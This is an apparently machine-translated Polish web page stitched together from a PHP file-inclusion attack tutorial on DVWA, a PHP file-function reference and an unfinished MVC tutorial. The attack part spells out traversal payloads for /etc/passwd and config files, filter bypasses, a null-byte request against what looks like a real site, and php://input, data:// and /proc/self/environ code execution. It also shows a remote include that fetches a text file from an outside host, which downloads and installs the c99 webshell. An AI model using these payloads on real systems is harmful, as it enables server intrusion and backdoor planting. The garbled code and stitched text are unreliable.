Fikcyjny widok pliku php. Plik – odczytuje zawartość pliku i umieszcza ją w tablicy. Praca z plikami na serwerze
Czasami wstrzyknięcie pliku nazywane jest włączeniem, czasami jest uważane za część wstrzyknięcia PHP (wstrzyknięcie kodu). To drugie nie jest do końca prawdą, ponieważ luki w zabezpieczeniach polegające na wstrzykiwaniu plików niekoniecznie są związane z wykonaniem kodu.
Luka może wystąpić podczas używania (w PHP) wyrażeń takich jak:
- wymagają raz,
- uwzględnij_raz,
- włączać,
- wymagać
Każdy z nich ma drobne niuanse, ale łączy je to, że dołączają plik do programu i uruchamiają go. Wyrażenia te mogą powodować problemy, jeśli przekazują dane wprowadzane przez użytkownika, a program nie odfiltrowuje ich dostatecznie.
Nawiasem mówiąc, tak, są to wyrażenia, a nie funkcje. Nie ma potrzeby pisać w ten sposób:
Wymagaj("jakiśplik.php");
Bardziej preferowaną opcją jest:
Wymagaj „somefile.php”;
Ale jest to odwrót, który nie ma nic wspólnego z wrażliwością.
Jeśli pliki są dołączane przy użyciu wyrażeń require_once, include_once, include, require, to można powiedzieć, że w tym samym czasie następuje również wstrzykiwanie kodu. Możliwe jest jednak dołączenie plików bez uruchamiania kodu na serwerze. Na przykład witryna internetowa zmienia swój wygląd w zależności od motywu wybranego przez użytkownika. Nazwa motywów odpowiada nazwie plików HTML, które są odczytywane na serwerze. W takiej sytuacji, jeżeli żądanie jest skonstruowane w taki sposób, aby odczytać plik, który nie jest do tego przeznaczony (np. plik PHP), to zamiast wykonania poleceń wyświetlony zostanie kod źródłowy PHP.
Użytkownik może określić plik zdalny lub lokalny jako plik dołączany. Na tej podstawie wyróżnia się dwie odpowiednie odmiany:
- wstrzyknięcie pliku lokalnego
- zdalne wstrzykiwanie plików
Niebezpieczeństwem zdalnego włączenia jest wykonanie dowolnego kodu na podatnym na ataki serwerze. Jest to zwykle stosowane w przypadku infekcji backdoorem.
Niebezpieczeństwo wstrzyknięcia plików lokalnych polega na tym, że użytkownik może wyświetlić zawartość plików, do których nie ma uprawnień (kody źródłowe programów, pliki systemowe z ustawieniami i hasłami). Ponadto dzięki włączeniu lokalnemu możliwe jest wykonanie kodu strony trzeciej (na przykład w celu infekcji backdoorem), jeśli wcześniej na serwer przesłano plik ze złośliwym kodem lub zastosowano metodę zatruwania logów lub inną metodę.
Lokalne włączenie plików jest nie mniej niebezpieczne niż wprowadzenie plików zdalnych.
Wykorzystanie osadzania plików lokalnychMożesz spróbować swoich sił w rozwiązaniu tej luki w aplikacji Damn Vulnerable Web Application (DVWA). Używam Web Security Dojo, w którym jest już zainstalowane DVWA.
Zacznijmy od niskiego poziomu (niskie bezpieczeństwo DVWA).
Przejdźmy do strony dołączania plików http://localhost/dvwa/vulnerabilities/fi/?page=include.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
- http://localhost/dvwa/vulnerabilities/fi/?page=file3.php
Jeśli wartość podobna do nazwy pliku (plik1.php, plik2.php) zostanie przekazana jako argument do zmiennej, wówczas możemy założyć, że używane jest dołączenie. Ponieważ rozszerzenie pliku to .php, plik jest najprawdopodobniej wykonywany na serwerze (tzn. możliwe jest wstrzyknięcie kodu), a nie tylko wyświetlany w celu wyświetlenia.
DVWA ma stronę http://localhost/dvwa/about.php, znajduje się ona dwa poziomy wyżej, spróbujmy spojrzeć na nią w ten sposób: http://localhost/dvwa/vulnerabilities/fi/?page=../. ./about.php
Tak, istnieje luka w zabezpieczeniach dotycząca włączenia lokalnego. Przy wejściu przejścia do wyższych katalogów (../) nie są filtrowane, lista plików do włączenia nie jest wyczerpująca (zamiast sugerowanego pliku*.php wybraliśmy about.php).
Czasami używane są dołączone pliki, ale adresy mogą wyglądać na przykład tak: http://localhost/dvwa/vulnerabilities/fi/?page=file1. W takim przypadku do skryptu można dodać rozszerzenie, a skrypt osadzi plik, którego nazwa zostanie ostatecznie uformowana w skrypcie. Zazwyczaj luka w tej postaci jest trudna/niemożliwa do wykorzystania.
Często ludzie lubią podawać coś takiego jako przykład wykorzystania dołączania plików lokalnych:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd
Jak widzimy, udało się. Ponieważ jednak przeglądarki internetowe ignorują /r/n (znaki nowego wiersza), musimy otworzyć kod źródłowy, aby wpisy były czytelne:
Niestety od dłuższego czasu w pliku /etc/passwd nie ma żadnych haseł.
Z serwera można pobrać różne pliki ustawień, certyfikaty SSL, w zasadzie dowolny plik, który jest otwarty do odczytu dla wszystkich użytkowników lub do którego serwer WWW ma wystarczające uprawnienia do odczytu:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf
Jeśli chodzi o hosting współdzielony, czasami można zajrzeć do folderów innych osób (ponownie, jeśli prawa użytkownika są skonfigurowane nieprawidłowo).
http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db
Zadanie komplikuje fakt, że musimy znać ścieżkę do pliku.
Operacja zdalnego wstrzykiwania plikówPHP jest bardzo elastycznym i przyjaznym dla programistów językiem programowania. Polecenia osadzania plików i niektóre inne doskonale rozpoznają i poprawnie przetwarzają nie tylko pliki lokalne, ale także adresy URL...
Spróbujmy napisać adres URL witryny https://site/ zamiast nazwy pliku:
http://localhost/dvwa/vulnerabilities/fi/?page=https://site/
Zobacz, jak ciekawie się to okazuje:
Stało się tak: interpreter PHP otrzymał polecenie dołączenia pliku/strony https://site/. Otworzył/pobrał odpowiedni adres i wysłał powstały kod do wykonania jako program PHP. Ponieważ PHP wykonuje tylko kod otoczony odpowiednimi znacznikami (w tym przypadku w ogóle nie było kodu) i wyświetla całą resztę w niezmienionej postaci, cała strona internetowa jest wyświetlana w niezmienionej postaci.
Oczywiście ta luka jest dla nas interesująca nie dlatego, że możemy przeglądać inne witryny za pośrednictwem jednej witryny.
Podkreśliłem słowo „tekst” z tego powodu, że na kontrolowanym przez nas serwerze powinien znajdować się plik tekstowy, który nie powinien być wykonywany na naszym serwerze. Nasz serwer musi jedynie pokazać swoją zawartość.
Do stworzenia backdoora możesz wykorzystać Weevely, PhpSploit lub skorzystać z gotowych rozwiązań. Tym razem skorzystajmy z gotowego.
Przypiszę zmiennej $backdoor kod źródłowy backdoora, który pobiorę z Githuba. Następnie używam funkcji file_put_contents, aby zapisać powstały kod źródłowy w pliku c99unlimited.php.
Kod, który umieściłem w pliku tekstowym
$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php"); file_put_contents("c99unlimited.php", "$backdoor"); echo „gotowe!”;
Jest on dostępny pod adresem http://miloserdov.org/sec.txt
Teraz, korzystając ze zdalnego dołączenia, przesyłamy backdoora na podatny na ataki serwer.
http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt
Zwróć uwagę na wykonany napis!, jest on wyświetlany przez skrypt, tj. wszystko chyba się udało.
Ponieważ skrypt zawierający pliki znajduje się w katalogu http://localhost/dvwa/vulnerabilities/fi/, a nasz nowy plik z backdoorem powinien zostać zapisany pod nazwą c99unlimited.php, pełny adres backdoora na serwerem podatnym na ataki powinien być: http: //localhost/dvwa/vulnerabilities/fi/c99unlimited.php
Sprawdzamy:
Świetnie, teraz mamy wszystkie funkcje, których może potrzebować administrator serwera WWW... i ci, którzy mają dostęp do swojego serwera.
Pomiń filtrowanie, dołączając pliki lokalniePrzejdźmy do średniego poziomu bezpieczeństwa (konfigurowalnego w DVWA Security).
Jeśli spojrzymy na kod źródłowy (przycisk Wyświetl źródło):
wtedy zobaczymy, że znaki ../ są teraz filtrowane. Zapobiegnie to przejściu do katalogu wyższego niż ten, w którym działa podatny na ataki skrypt.
Te. nic nie będzie działać w ten sposób:
http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf
Zastanówmy się, jak w tym przypadku działa filtrowanie? Powiedzmy, że odfiltrowane zostanie słowo „zły”, a następnie linia podobna
dobrze, źle, dobrze
po przefiltrowaniu będzie wyglądać tak:
dobrze dobrze
A jeśli wstawisz taką linię
źle źle xo
następnie po przefiltrowaniu („złe” zostanie usunięte) okaże się
Źle
W ../ wstawiamy ../ znowu na środku okazuje się ..././
Wypróbujmy ten adres http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql / mój.cnf
Zadziałało!
Innym obejściem może być zakodowanie znaków w kodowaniu szesnastkowym, na przykład w tej linii:
http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
„../” można zastąpić „%2E%2E%2f”.
Praktykowane jest również kodowanie podwójne szesnastkowe, w którym „../” zastępuje się „%252E%252E%252F”
Lokalne włączenie plików podczas dodawania rozszerzenia w skrypcieJeśli kod zawierający pliki wygląda następująco:
Te. Jeśli do danych wejściowych użytkownika zostanie dodany plik .php lub inne rozszerzenie, nie pozwala to na utworzenie żądania w sposób umożliwiający przeprowadzenie ataku.
Istnieje kilka technik mających na celu odrzucenie rozszerzenia, ale można je uznać za przestarzałe, ponieważ działają na PHP 5.3, a nawet wtedy nie na wszystkich wersjach. Administratorzy serwerów internetowych są jednak klinicznie konserwatywni i wolą nie dotykać niczego, jeśli to działa. Te. Istnieje ryzyko natknięcia się na serwer z bardzo starą wersją PHP i powinieneś być świadomy tych technik.
Korzystanie z bajtu zerowego %00 (bajt zerowy)
Na końcu żądania dodawany jest bajt zerowy, aby zignorować rozszerzenie:
http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00
Druga metoda nazywana jest atakiem przycinającym ścieżkę. Najważniejsze jest to, że PHP obcina ścieżki dłuższe niż 4096 bajtów. W tym przypadku PHP otwiera plik poprawnie, nawet jeśli na końcu jego nazwy znajdują się ukośniki i kropki. Jeśli podasz jako parametr coś w rodzaju?param1=../../../../etc/passwd/./././././ (gdzie ./ powtarza się wiele tysięcy razy), to plik końcowy wraz z rozszerzeniem (które dodał skrypt, w wyniku czego nazwa pliku stała się zawiera/../../../../etc/passwd/./././././ .php) zostaną odrzucone. Nazwa pliku będzie zawierać/../../../../etc/passwd/./././././. A ponieważ PHP nie jest mylony z końcowymi ukośnikami i ./ na końcu pliku, po prostu je ignoruje, w sumie PHP otworzy plik wzdłuż ścieżki zawierającej/../../../../etc/ hasło
Pomijanie filtrowania w celu zdalnego wstrzykiwania plikówJak już widzieliśmy w kodzie źródłowym, średni poziom bezpieczeństwa odfiltrowuje również http:// i https://.
Teraz http://localhost/dvwa/vulnerabilities/fi/?. Zastosujemy dokładnie tę samą technikę, aby ominąć filtrowanie z włączeniem lokalnym. Wygenerowane żądanie:
http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://site/
I pamiętaj też, że nie jest filtrowane np. ftp, czyli. Ta opcja działałaby bez żadnych sztuczek:
http://localhost/dvwa/vulnerabilities/fi/?page=ftp://site/
Uzyskiwanie kodu źródłowego skryptów PHP przy dołączaniu plików z php://filterTa sztuczka nie wymaga zdalnego dołączania plików. Zostanie użyty rodzaj meta-opakowania php://filter.
Powiedzmy, że chcemy zobaczyć kod źródłowy pliku file1.php, wówczas w naszej sytuacji żądanie będzie miało następującą strukturę:
http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php
Zwróć uwagę na pozbawiony znaczenia ciąg liter i cyfr - jest to kod źródłowy pliku file1.php w kodowaniu base64. Ponieważ jest to base64, obsługiwane są również pliki binarne.
Odszyfrujmy plik:
Zdalne wykonanie kodu za pomocą php://inputNie przypomina to osadzania plików i ponownie nie wymaga przesyłania plików.
Do pomocy posłużę się rozszerzeniem FireFox, można też skorzystać z niego lub dowolnego innego programu (np. curl), który potrafi przesyłać dane metodą POST.
php://input ma dostęp do nieprzetworzonej treści żądania HTTP, aby zrozumieć, co robi include("php://input"), otwórz stronę
http://localhost/dvwa/vulnerabilities/fi/?page=php://input
A w treści żądania wyślij poprawny kod PHP (na przykład za pomocą metody POST). Umożliwi to wykonanie dowolnej funkcji dozwolonej na zdalnym serwerze!
Zdalne wykonanie kodu za pomocą data://
Dodatkowo PHP obsługuje schemat URL data://.Kod możesz umieścić bezpośrednio w parametrze GET! Poniższy test nie wymaga żadnych specjalnych narzędzi, a jedynie zwykłej przeglądarki do przeprowadzenia ataku.
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,
Niektóre zapory sieciowe aplikacji internetowych mogą wykryć podejrzany ciąg w adresie URL i zablokować złośliwe żądanie. Istnieje jednak sposób na zaszyfrowanie ciągu przy użyciu kodowania co najmniej base64:
http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==
Wykonaj dowolne polecenia z /proc/self/environ/proc/self/environ to magazyn zmiennych procesowych. Jeśli proces Apache ma wystarczające uprawnienia dostępu, to otwierając stronę internetową zawierającą załącznik o podobnym adresie URL,
www.website.com/view.php?page=../../../../../proc/self/environ
wygeneruje coś takiego
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap , */*;q=0.1 HTTP_COOKIE=PHPSESSID=HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../. ./../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Wersja/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..% 2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=.. %2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx. 1xx,6x [e-mail chroniony] SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Zwróć uwagę na HTTP_USER_AGENT. Zamiast tego możesz zastąpić poprawny kod PHP, który zostanie wykonany na zdalnym serwerze.
Wytrawianie i wstrzykiwanie dzienników w przypadku lokalnego dołączania plikówNiestety ta metoda nie działa już w najnowszych wersjach Apache.
Jego istota polega na tym, że kod atakującego zostaje wstrzyknięty do logów serwera WWW. Można to zrobić zastępując User-Agent lub nawet po prostu przekazując go w parametrze GET.
Statyczny wtrysk zdalnego plikuPrzykład statyki obejmuje:
Włączenia statycznego można użyć w bardzo egzotycznych sytuacjach. Aby wstrzyknąć złośliwy kod, konieczne jest przeprowadzenie ataku typu man-in-the-middle pomiędzy dwoma serwerami: jeden hostuje aplikację internetową korzystającą z dołączenia, a drugi hostuje plik użyty do dołączenia.
PHP file_exists("test.txt")//Czy plik istnieje? filesize("test.txt");//Sprawdź rozmiar pliku //Zwracany jest znacznik czasu: fileatime("test.txt");//Data ostatniego dostępu do pliku //date("d M Y" , $czas); filemtime("test.txt");//Data modyfikacji pliku //date("d M Y", $mtime); filectime("test.txt");//Data utworzenia pliku (Windows) //date("d M Y", $ctime); Pliki: tryby pracy PHP Resource fopen (nazwa pliku string, tryb string) // Resource - zwraca wskaźnik do pliku w przypadku powodzenia lub FALSE w przypadku błęduotwórz plik tylko do odczytu; |
otwórz plik do odczytu i zapisu; |
otwórz plik tylko do zapisu. Jeśli istnieje, bieżąca zawartość pliku zostanie zniszczona. Bieżąca pozycja jest ustawiana na początek; |
otwórz plik do odczytu i zapisu. Jeśli istnieje, bieżąca zawartość pliku zostanie zniszczona. Bieżąca pozycja jest ustawiana na początek; |
otwórz plik do zapisu. Bieżąca pozycja jest ustawiona na końcu pliku; |
otwórz plik do odczytu i zapisu. Bieżąca pozycja jest ustawiona na końcu pliku; |
przetworzyć plik binarny. Ta flaga jest wymagana podczas pracy z plikami binarnymi w systemie Windows. |
Początkowo zapis nastąpi na początku pliku, poprzez nadpisanie istniejących danych, jeśli takie istnieją. Dlatego jeśli chcesz coś napisać na końcu pliku, musisz ustawić odpowiedni tryb odczytu, na przykład a+ .
Manipulowanie kursorem w plikach PHP PHP int fseek(int fi, int offset [, int skąd]) //Ustawianie kursora // int fi - wskaźnik do pliku //offset - liczba znaków do przesunięcia. //gdzie: //SEEK_SET - ruch rozpoczyna się od początku pliku; //SEEK_CUR – ruch rozpoczyna się od aktualnej pozycji; //SEEK_END – ruch rozpoczyna się od końca pliku. fseek($fi, -10, SEEK_END); //Przeczytaj ostatnie 10 znaków $s = fread($fi, 10); $pos = ftel($fi); // Sprawdzenie aktualnej pozycji rewind($f) // reset kursora bool feof($f) // koniec pliku Bezpośrednia praca z plikami (danymi) w PHP PHP array file(string filename) // Pobranie zawartości pliku w postaci tablicy // Kolejna możliwość bezpośredniej pracy z danymi file_get_contents(string nazwa pliku) //Odczyt (cały plik otrzymujemy w jednej linii) //Zapis do pliku (wstępnie nadpisany) file_put_contents(string nazwa pliku , dane mieszane[,int flaga]); //FILE_APPEND // Zapisz na koniec pliku: file_put_contents("test.txt", "data", FILE_APPEND); //Jeśli napiszesz tablicę, $array = array("I", "live"); file_put_contents("test.txt",$array); //następnie otrzymujemy „Ilive” Zarządzanie plikami w php Kopia PHP (źródło ciągu znaków, miejsce docelowe ciągu znaków); // Kopiowanie pliku rename(str stara nazwa, str nowa nazwa); // Zmień nazwę pliku unlink(string filename); // Usuwanie pliku Przesyłanie plików na serwer PHP // Ustawienia PHP.ini file_uploads (on|off) // Zezwolenie lub wyłączenie przesyłania plików upload_tmp_dir // Folder tymczasowy dla przesyłanych plików. domyślnie folder tymczasowy upload_max_filesize (domyślnie = 2 Mb) // max. rozmiar przesyłanego pliku post_max_size // całkowity rozmiar przesłanego formularza (musi być większy niż upload_max_filesize) //Proste przesyłanie HTML Pracujemy z plikami na serwerze PHP //Odbiór danych $tmp = $_FILES["userfile"][" nazwa_tmp"]; $nazwa = $_FILES["plik użytkownika"]["nazwa"]; //Przenieś plik move_uploaded_file($tmp, nazwa); move_uploaded_file($tmp, "upload/".nazwa); // przekieruj plik do folderu przesyłania // względem bieżącego pliku // Zawartość tablicy $_FILES $_FILES["userfile"]["name"] // nazwa pliku, na przykład test.html $_FILES[ "userfile"]["tmp_name"] // nazwa pliku tymczasowego (ścieżka) $_FILES["userfile"]["size"] // rozmiar pliku $_FILES["userfile"]["type"] // typ pliku $ _FILES["userfile"] ["error"] // 0 - brak błędów, liczba - tak Wiele osób zaczyna pisać projekt do pracy z jednym zadaniem, nie sugerując, że może on rozwinąć się np. w system zarządzania wieloma użytkownikami , treść lub, nie daj Boże, produkcja. I wszystko wydaje się świetne i fajne, wszystko działa, dopóki nie zaczniesz rozumieć, że napisany kod składa się wyłącznie z kul i twardego kodu. Kod jest pomieszany z układem, zapytaniami i kulami, czasem wręcz nieczytelny. Powstaje palący problem: dodając nowe funkcje, trzeba bardzo długo majstrować przy tym kodzie, pamiętając „co tam napisano?” i przeklnij siebie w przeszłości.Być może słyszałeś nawet o wzorcach projektowych, a nawet przeglądałeś te wspaniałe książki:
- E. Gamma, R. Helm, R. Johnson, J. Vlissides „Techniki projektowania obiektowego. Wzorce projektowe";
- M. Fowler „Architektura aplikacji dla przedsiębiorstw”.
Artykuł ten przyda się przede wszystkim początkującym. W każdym razie mam nadzieję, że za kilka godzin będziesz mógł zorientować się w implementacji wzorca MVC, który leży u podstaw wszystkich nowoczesnych frameworków internetowych, a także zdobędziesz „pożywienie” do dalszej refleksji na temat „jak to zrobić Zrób to." Na końcu artykułu znajduje się wybór przydatnych linków, które pomogą Ci również zrozumieć, z czego składają się frameworki internetowe (oprócz MVC) i jak działają.
Doświadczeni programiści PHP raczej nie znajdą w tym artykule nic nowego dla siebie, ale ich komentarze i komentarze do tekstu głównego będą bardzo pomocne! Ponieważ Bez teorii praktyka jest niemożliwa, a bez praktyki teoria jest bezużyteczna, potem najpierw będzie trochę teorii, a potem przejdziemy do praktyki. Jeśli znasz już koncepcję MVC, możesz pominąć część teoretyczną i przejść od razu do praktyki.
1. Teoria Wzorzec MVC opisuje prosty sposób konstruowania aplikacji, którego celem jest oddzielenie logiki biznesowej od interfejsu użytkownika. Dzięki temu aplikację łatwiej jest skalować, testować, utrzymywać i oczywiście wdrażać.Przyjrzyjmy się diagramowi koncepcyjnemu wzorca MVC (moim zdaniem jest to najbardziej udany diagram, jaki widziałem):
W architekturze MVC model zapewnia reguły dotyczące danych i logiki biznesowej, widok odpowiada za interfejs użytkownika, a kontroler zapewnia interakcję pomiędzy modelem a widokiem.
Typowy przepływ aplikacji MVC można opisać w następujący sposób:
Wyświetla widok, powiedzmy, strony głównej witryny.
który zawiera na przykład wywołania modelu odczytujące informacje z bazy danych.
Model nie powinien bezpośrednio wchodzić w interakcję z użytkownikiem. Wszystkie zmienne związane z żądaniem użytkownika muszą zostać przetworzone w kontrolerze.
Model nie powinien generować kodu HTML ani innego kodu wyświetlacza, który może zmieniać się w zależności od potrzeb użytkownika. Taki kod powinien być przetwarzany w widokach.
Ten sam model, np. model uwierzytelniania użytkownika, można zastosować zarówno w części użytkownika, jak i części administracyjnej aplikacji. W takim przypadku możesz przenieść kod ogólny do osobnej klasy i dziedziczyć z niej, definiując w jego potomkach metody specyficzne dla podaplikacji.
Widok - służy do określenia zewnętrznego wyświetlania danych otrzymanych ze sterownika i modelu.
Widoki zawierają znaczniki HTML i małe wstawki kodu PHP do przeglądania, formatowania i wyświetlania danych.
Nie powinien mieć bezpośredniego dostępu do bazy danych. To właśnie powinny robić modelki.
Nie powinno działać z danymi uzyskanymi na żądanie użytkownika. Zadanie to musi wykonać kontroler.
Może bezpośrednio uzyskać dostęp do właściwości i metod kontrolera lub modeli w celu uzyskania danych wyjściowych.
Widoki są zwykle podzielone na wspólny szablon, zawierający znaczniki wspólne dla wszystkich stron (na przykład nagłówek i stopkę) oraz części szablonu, które służą do wyświetlania danych wyjściowych z modelu lub wyświetlania formularzy wprowadzania danych.
Kontroler to spoiwo łączące modele, widoki i inne komponenty w działającą aplikację. Administrator odpowiada za przetwarzanie żądań użytkowników. Kontroler nie powinien zawierać zapytań SQL. Lepiej trzymać je w modelach. Kontroler nie powinien zawierać kodu HTML ani innych znaczników. Warto mieć to na uwadze.
W dobrze zaprojektowanej aplikacji MVC kontrolery są zwykle bardzo cienkie i zawierają tylko kilkadziesiąt linii kodu. Tego samego nie można powiedzieć o Stupid Fat Controllers (SFC) w CMS Joomla. Logika kontrolera jest dość typowa i w większości przeniesiona do klas bazowych.
Modele natomiast są bardzo grube i zawierają większość kodu związanego z przetwarzaniem danych, ponieważ struktura danych i zawarta w nich logika biznesowa są zwykle dość specyficzne dla konkretnej aplikacji.
Mam nadzieję, że już zauważyłeś, że różne witryny mogą mieć zupełnie różne formaty konstruowania paska adresu. Każdy format może wyświetlać architekturę aplikacji internetowej. Chociaż nie zawsze tak jest, w większości przypadków jest to oczywisty fakt.
Rozważmy dwie opcje paska adresu, które wyświetlają tekst i profil użytkownika.
Pierwsza opcja:
Druga opcja:
Podejście wielopunktowe można zobaczyć na forach phpBB. Forum przegląda się za pomocą skryptu viewforum.php, tematy przegląda się za pomocą viewtopic.php itp. Drugie podejście, dostępne poprzez pojedynczy fizyczny plik skryptu, można zobaczyć w moim ulubionym CMS MODX, gdzie wszystkie wywołania przechodzą przez plik Index.php.
Te dwa podejścia są zupełnie różne. Pierwsze jest typowe dla wzorca Kontroler Strony, natomiast drugie podejście jest implementowane przez wzorzec Kontroler Frontu. Kontroler strony jest dobry dla witryn o dość prostej logice. Z kolei kontroler żądań konsoliduje wszystkie czynności związane z przetwarzaniem żądań w jednym miejscu, co daje mu dodatkowe możliwości, które pozwalają na realizację bardziej skomplikowanych zadań, niż zwykle rozwiązuje je kontroler strony. Nie będę wdawał się w szczegóły implementacji kontrolera strony, powiem tylko, że w części praktycznej będzie rozwijany kontroler żądań (coś podobnego).
1.2. Routing adresów URL Routing adresów URL umożliwia skonfigurowanie aplikacji tak, aby akceptowała żądania z adresów URL, które nie odpowiadają rzeczywistym plikom aplikacji, oraz korzystała z systemów CNC, które mają znaczenie semantyczne dla użytkowników i są preferowane do optymalizacji wyszukiwarek.Na przykład w przypadku zwykłej strony zawierającej formularz kontaktowy adres URL może wyglądać następująco:
http://www.example.com/contacts.php?action=feedback
Przybliżony kod przetwarzania w tym przypadku:
switch ($_GET ["akcja" ]) ( case "about": require_once ("about.php" ); // Podział strony "O nas" ; case "contacts": require_once ("contacts.php" ); // strona „Kontakty” przerwa ; przypadek „opinia”: require_once („feedback.php” ); // strona „Feedback” przerwa; domyślnie: require_once („page404.php” ); // strona „404” przerwa ; )
Myślę, że prawie każdy już to kiedyś robił.
Korzystając z mechanizmu routingu adresów URL, możesz skonfigurować aplikację tak, aby akceptowała takie żądania, aby wyświetlić te same informacje:
http://www.example.com/contacts/feedback
Tutaj kontakty reprezentują kontroler, a informacja zwrotna to metoda kontrolera kontaktów, która wyświetla formularz opinii itp. Do tego zagadnienia powrócimy w części praktycznej.
Warto również wiedzieć, że routery wielu frameworków internetowych umożliwiają tworzenie niestandardowych tras URL (określ, co oznacza każda część adresu URL) i reguł ich przetwarzania.
Teraz mamy wystarczającą wiedzę teoretyczną, aby przejść do praktyki.
Patrząc w przyszłość, powiem, że podstawowe klasy Model, View i Controller będą przechowywane w folderze core.
Ich dzieci będą przechowywane w katalogach kontrolerów, modeli i widoków. Plik Index.php jest punktem wejścia do aplikacji. Plik bootstrap.php inicjuje ładowanie aplikacji, podłączanie wszystkich niezbędnych modułów itp.
Pójdziemy sekwencyjnie; Otwórzmy plik Index.php i wypełnijmy go następującym kodem:
ini_set("błędy_wyświetlania" , 1 ); require_once "aplikacja/bootstrap.php" ;
Tutaj nie powinno być żadnych pytań.
Następnie przejdźmy od razu do pliku bootstrap.php:
require_once "core/model.php" ; require_once "core/view.php" ; require_once "core/controller.php" ; require_once "core/route.php" ; Trasa::start(); //uruchom router
Pierwsze trzy linie będą zawierać aktualnie nieistniejące pliki jądra. Ostatnie linie zawierają plik z klasą routera i uruchamiają go do wykonania wywołując metodę static start.
RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* indeks.php [L]
Ten kod przekieruje całe przetwarzanie strony do pliku Index.php, czyli tego, czego potrzebujemy. Pamiętacie, jak w pierwszej części rozmawialiśmy o Front Controllerze?!
Umieścimy routing w oddzielnym pliku Route.php w katalogu głównym. W tym pliku opiszemy klasę Route, która będzie uruchamiać metody kontrolera, które z kolei wygenerują widok strony.
Zawartość pliku Route.php
class Route ( funkcja statyczna start () ( // kontroler i domyślna akcja $controller_name = "Main" ; $action_name = "index" ; $routes = eksploduj("/" , $_SERVER ["REQUEST_URI" ]); // pobierz nazwa kontrolera if (!empty ($routes )) ( $controller_name = $routes ; ) // pobierz nazwę akcji if (!empty ($routes )) ( $action_name = $routes ; ) // dodaj przedrostki $model_name = " Model_" .$controller_name ; $controller_name = "Controller_" .$controller_name ; $action_name = "action_" .$action_name ; // podłącz plik z klasą modelu (może nie być pliku modelu) $model_file = strtolower ($model_name ). ".php" ; $model_path = "application/models/" .$model_file ; if (file_exists($model_path )) (include "application/models/" .$model_file ; ) // podłącz plik z klasą kontrolera $controller_file = strtolower ($controller_name).php" ; $controller_path = "application/controllers/" .$controller_file ; if (file_exists($controller_path )) (include "application/controllers/" .$controller_file ; ) else ( /* poprawne byłoby zgłoszenie tutaj wyjątku, ale dla uproszczenia od razu przekierujemy na stronę 404 */ Route::ErrorPage404(); ) // utwórz kontroler $controller = new $controller_name ; $akcja = $nazwa_akcji ; if (method_exists($controller , $action )) ( // wywołaj akcję kontrolera $controller ->$action (); ) else ( // tutaj również rozsądniej byłoby zgłosić wyjątek Route::ErrorPage404(); ) ) funkcja ErrorPage404 ( ) ( $host = "http://" .$_SERVER ["HTTP_HOST" ]."/" ; header("HTTP/1.1 404 nie znaleziono" ); header("Status: 404 nie znaleziono" ) ; nagłówek(" Lokalizacja:" .$host .404" ); ) )
Zauważam, że klasa implementuje bardzo uproszczoną logikę (pomimo obszernego kodu) i może nawet mieć problemy z bezpieczeństwem. Zrobiono to celowo, bo... napisanie pełnoprawnej klasy routingu zasługuje przynajmniej na osobny artykuł. Spójrzmy na główne punkty...
Globalny element tablicy $_SERVER["REQUEST_URI"] zawiera pełny adres, z którym kontaktował się użytkownik.
Na przykład: example.ru/contacts/feedback
Korzystanie z funkcji eksplodować Adres jest podzielony na komponenty. W rezultacie otrzymujemy nazwę kontrolera, dla przykładu jest to kontroler Łączność i nazwa akcji, w naszym przypadku - informacja zwrotna.
Następnie łączy się plik modelu (może brakować modelu) i plik kontrolera, jeśli taki istnieje, po czym tworzona jest instancja kontrolera i ponownie wywoływana jest akcja, jeśli została opisana w klasie kontrolera.
Zatem jadąc pod adres np.:
przykład.com/portfolio
Lub
przykład.com/portfolio/index
Router wykona następujące czynności:
przykład.com/ufo
następnie zostanie przekierowany na stronę „404”:
przykład.com/404
To samo stanie się, jeśli użytkownik uzyska dostęp do akcji, która nie jest opisana w kontrolerze.2.2. Wróćmy do implementacji MVC, przejdźmy do folderu core i dodajmy do pliku Route.php jeszcze trzy pliki: model.php, view.php i kontroler.php
Przypomnę, że będą one zawierać klasy bazowe, które teraz zaczniemy pisać.
Zawartość pliku model.php
klasa Model (funkcja publiczna get_data ( ) ( ) )
Klasa modelu zawiera pojedynczą, pustą metodę pobierania danych, która zostanie zastąpiona w klasach potomnych. Kiedy utworzymy klasy potomne, wszystko stanie się jaśniejsze.
Zawartość pliku view.php
